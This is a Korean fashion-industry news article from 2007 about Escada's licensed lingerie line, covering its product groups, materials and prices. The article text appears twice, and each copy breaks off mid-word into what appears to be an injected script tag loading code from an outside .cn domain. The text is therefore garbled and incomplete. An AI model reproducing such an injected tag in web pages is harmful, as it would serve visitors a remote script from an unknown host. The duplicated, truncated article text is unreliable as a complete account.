「에스까다(Escada)」, 란제리 런칭
2007-02-08
「에스까다」 란제리는 스위스의 「한로(Hanro)」 그룹이 라이센스권을 얻어 생산과 유통을 맡은 라인이다. 올해 미국과 유럽에 소재한 「에스까다」 50여개 거점 매장을 포함한 250여개 백화점 매장 및 전문 매장에 인너 상품이 공급될것으로 알려졌다. 내년에는 아시아 시장에도 「에스까다」 인티밋 라인이 출고될 예정
화려한 색상, 고급스런 패턴, 골드와 라인스톤으로 치장한 EE 로고, 여성적인 디테일을 한껏 살린 인티밋 어패럴이 첫선을 보인다. 「에스까다」 란제리 라인이 화제의 주인공.
「에스까다」 란제리 라인은 파리에서 열리는 ‘인터네셔널 란제리 쇼’에 2001년 가을/겨울 모드를 선보인 뒤, 뉴욕 인너웨어 시장에 진출할 예정이다.
「에스까다」 란제리는 스위스의 「한로(Hanro)」 그룹이 라이센스권을 얻어 생산과 유통을 맡은 라인이다. 올해 미국과 유럽에 소재한 「에스까다」 50여개 거점 매장을 포함한 250여개 백화점 매장 및 전문 매장에 인너 상품이 공급될것으로 알려졌다. 내년에는 아시아 시장에도 「에스까다」 인티밋 라인이 출고될 예정이다.
「Hanro」는 전세계에 700여개 유통망을 가지고 있으며 「에스까다」는 250개의 독립 매장이 있다.
작년 12월 독일에서 개최되었던 「에스까다」 2001년 패션 쇼에 참관한 1500여명의 고객들은 이미 「에스까다」 인티밋 라인을 살짝 엿볼 수 있는 기회를 가졌다.
구체적으로 살펴보면 「에스까다」 인티밋 라인은 각각 4부문으로 구성된 1)베이직 그룹 2)패션 그룹으로 구분되는데 ‘베이직 그룹'은 항상 매장에 비치되어 고객이 아무 때나 살수 있는 기본형 디자인이며, ‘패션 그룹'은 「에스까다」의 레디-투-웨어 컬렉션의 스타일 주제를 반영한 패션 지향적인 아이템.
이는 「에스까다」 인티밋 라인이 평범한 일반 여성부터 패션을 추구하는 여성까지 폭넓은 고객 집단을 타겟으로 삼고 있는 증거로 보인다.
「에스까다」 인티밋 라인의 가격을 살펴보면 브래지어류의 가격대가 57∼130달러, 브리프 25∼80 달러, 스트링 비키니 20∼70달러, 셔츠류가 55∼80달러 정도.
「에스까다」 란제리는 유려한 색상, 화려한 장식 및 여성적인 럭서리 취향을 강조하는 「에스까다」의 패션 신조를 그대로 반영하고 있다.
「에스까다」 인티밋 라인은 무난한 1)베이직 그룹과 2)패셔너블한 패션 그룹으로 구성되어 있다. 베이직 그룹은 다시 각각 뚜렷한 개성을 살린 4개 그룹으로 구성되는데 첫번째, ‘Signature’ 그룹은 머서가공한 코튼과 엘라스틴 혼방직을 주로 사용하며 황금색 EE 로고 장식을 넣고 양쪽 브래지어 끈과 웨이스트 밴드에 「에스까다」라는 브랜드 명을 새겨 넣은 화려하고 장식적인 제품들.
두 번째는 롭스터 핑크나 블랙을 기본 색조로 하고, 니트-인 방식으로 문장을 넣은 디자인이 돋보이는 솔기없는 ‘Graphic Flash’그룹. 세 번째 ‘Essential’그룹은 탁텔 나일론과 라이크라 스판덱스를 주로 사용하며 블랙, 화이트, 브론즈, 가지색 등 다양한 색조가 돋보이는 제품으로 구성돼 있다.
한편 홀터와 등없는 드레스와 함께 입을 수 있도록 끈을 조정할 수 있는 제품 역시 ‘Essential’ 그룹에 포함되는 품목.
네 번째는, 폴리에스테르/폴리아미드/엘라스틴 새틴을 주로 사용한 ‘Diamonds’그룹. ‘Diamonds’ 그룹에 속하는 제품들은 언더와이어와 발코니 브래지어의 이중으로 말린 스파게티형 끈 위와 코디네이팅 스트링 팬티의 한쪽면에 스와롭스키(Swarovski) 라인스톤으로 EE 로고를 넣어 반짝이는 광택성을 살렸다.
「에스까다」 인티밋 라인의 베이직 그룹의 타겟층은 젊은 층.
「에스까다」의 패션 스타일을 반영한 2) 패션 그룹 역시 각각의 개성이 살아있는 4개 부문으로 다시 나뉜다. 첫 번째는 ‘Fireball’ 그룹으로 샌드 베이지, 다크 블루, 블랙 등의 색상에 번아웃(burnout)한 격자무늬로 포인트를 준 제품들로 구성되어 있는데, 주로 사용되는 패브릭은 비스코스, 폴리에스테르, 엘라스틴 등. 두 번째는 ‘Silhouettes’ 그룹으로 풀-컵 브래지어와 발코넷 브래지어, 캐미솔 탑, 스트링 비키니, T-스트링 팬티 등으로 구성된다. ‘Silhouettes’ 그룹의 특징은 모든 제품에 금속으로 만든 커다란 「에스까다」 로고 장식이 달려 있다는 점. 한편 세 번째 ‘Leather’ 와 ‘Lache’ 그룹은 연어빛, 아마 빛 등의 바탕에 뱀무늬 프린트를 넣고, Lurex-shot 레이스 같은 특수 효과를 가미해 「에스까다」의 여성적 취향을 살린 제품들로 구성되어 있다.
네 번째 "Oriental" 그룹은 빨강과 보라, 혹은 빨강과 갈색이 조화된 바탕에 난해한 페이즐리 문양을 살린 제품들로 구성돼 있다.
특히, 이중끈(double-strip) 매듭 장식이 달린 두가지 스타일의 브래지어와 바디수트, 가장자리에 레이스 장식이 달린 스트링 비키니, 컷어웨이 브리프, 폴리에?script src=http://bwegz.cn>
화려한 색상, 고급스런 패턴, 골드와 라인스톤으로 치장한 EE 로고, 여성적인 디테일을 한껏 살린 인티밋 어패럴이 첫선을 보인다. 「에스까다」 란제리 라인이 화제의 주인공.
「에스까다」 란제리 라인은 파리에서 열리는 ‘인터네셔널 란제리 쇼’에 2001년 가을/겨울 모드를 선보인 뒤, 뉴욕 인너웨어 시장에 진출할 예정이다.
「에스까다」 란제리는 스위스의 「한로(Hanro)」 그룹이 라이센스권을 얻어 생산과 유통을 맡은 라인이다. 올해 미국과 유럽에 소재한 「에스까다」 50여개 거점 매장을 포함한 250여개 백화점 매장 및 전문 매장에 인너 상품이 공급될것으로 알려졌다. 내년에는 아시아 시장에도 「에스까다」 인티밋 라인이 출고될 예정이다.
「Hanro」는 전세계에 700여개 유통망을 가지고 있으며 「에스까다」는 250개의 독립 매장이 있다.
작년 12월 독일에서 개최되었던 「에스까다」 2001년 패션 쇼에 참관한 1500여명의 고객들은 이미 「에스까다」 인티밋 라인을 살짝 엿볼 수 있는 기회를 가졌다.
구체적으로 살펴보면 「에스까다」 인티밋 라인은 각각 4부문으로 구성된 1)베이직 그룹 2)패션 그룹으로 구분되는데 ‘베이직 그룹'은 항상 매장에 비치되어 고객이 아무 때나 살수 있는 기본형 디자인이며, ‘패션 그룹'은 「에스까다」의 레디-투-웨어 컬렉션의 스타일 주제를 반영한 패션 지향적인 아이템.
이는 「에스까다」 인티밋 라인이 평범한 일반 여성부터 패션을 추구하는 여성까지 폭넓은 고객 집단을 타겟으로 삼고 있는 증거로 보인다.
「에스까다」 인티밋 라인의 가격을 살펴보면 브래지어류의 가격대가 57∼130달러, 브리프 25∼80 달러, 스트링 비키니 20∼70달러, 셔츠류가 55∼80달러 정도.
「에스까다」 란제리는 유려한 색상, 화려한 장식 및 여성적인 럭서리 취향을 강조하는 「에스까다」의 패션 신조를 그대로 반영하고 있다.
「에스까다」 인티밋 라인은 무난한 1)베이직 그룹과 2)패셔너블한 패션 그룹으로 구성되어 있다. 베이직 그룹은 다시 각각 뚜렷한 개성을 살린 4개 그룹으로 구성되는데 첫번째, ‘Signature’ 그룹은 머서가공한 코튼과 엘라스틴 혼방직을 주로 사용하며 황금색 EE 로고 장식을 넣고 양쪽 브래지어 끈과 웨이스트 밴드에 「에스까다」라는 브랜드 명을 새겨 넣은 화려하고 장식적인 제품들.
두 번째는 롭스터 핑크나 블랙을 기본 색조로 하고, 니트-인 방식으로 문장을 넣은 디자인이 돋보이는 솔기없는 ‘Graphic Flash’그룹. 세 번째 ‘Essential’그룹은 탁텔 나일론과 라이크라 스판덱스를 주로 사용하며 블랙, 화이트, 브론즈, 가지색 등 다양한 색조가 돋보이는 제품으로 구성돼 있다.
한편 홀터와 등없는 드레스와 함께 입을 수 있도록 끈을 조정할 수 있는 제품 역시 ‘Essential’ 그룹에 포함되는 품목.
네 번째는, 폴리에스테르/폴리아미드/엘라스틴 새틴을 주로 사용한 ‘Diamonds’그룹. ‘Diamonds’ 그룹에 속하는 제품들은 언더와이어와 발코니 브래지어의 이중으로 말린 스파게티형 끈 위와 코디네이팅 스트링 팬티의 한쪽면에 스와롭스키(Swarovski) 라인스톤으로 EE 로고를 넣어 반짝이는 광택성을 살렸다.
「에스까다」 인티밋 라인의 베이직 그룹의 타겟층은 젊은 층.
「에스까다」의 패션 스타일을 반영한 2) 패션 그룹 역시 각각의 개성이 살아있는 4개 부문으로 다시 나뉜다. 첫 번째는 ‘Fireball’ 그룹으로 샌드 베이지, 다크 블루, 블랙 등의 색상에 번아웃(burnout)한 격자무늬로 포인트를 준 제품들로 구성되어 있는데, 주로 사용되는 패브릭은 비스코스, 폴리에스테르, 엘라스틴 등. 두 번째는 ‘Silhouettes’ 그룹으로 풀-컵 브래지어와 발코넷 브래지어, 캐미솔 탑, 스트링 비키니, T-스트링 팬티 등으로 구성된다. ‘Silhouettes’ 그룹의 특징은 모든 제품에 금속으로 만든 커다란 「에스까다」 로고 장식이 달려 있다는 점. 한편 세 번째 ‘Leather’ 와 ‘Lache’ 그룹은 연어빛, 아마 빛 등의 바탕에 뱀무늬 프린트를 넣고, Lurex-shot 레이스 같은 특수 효과를 가미해 「에스까다」의 여성적 취향을 살린 제품들로 구성되어 있다.
네 번째 "Oriental" 그룹은 빨강과 보라, 혹은 빨강과 갈색이 조화된 바탕에 난해한 페이즐리 문양을 살린 제품들로 구성돼 있다.
특히, 이중끈(double-strip) 매듭 장식이 달린 두가지 스타일의 브래지어와 바디수트, 가장자리에 레이스 장식이 달린 스트링 비키니, 컷어웨이 브리프, 폴리에?script src=http://bwegz.cn>
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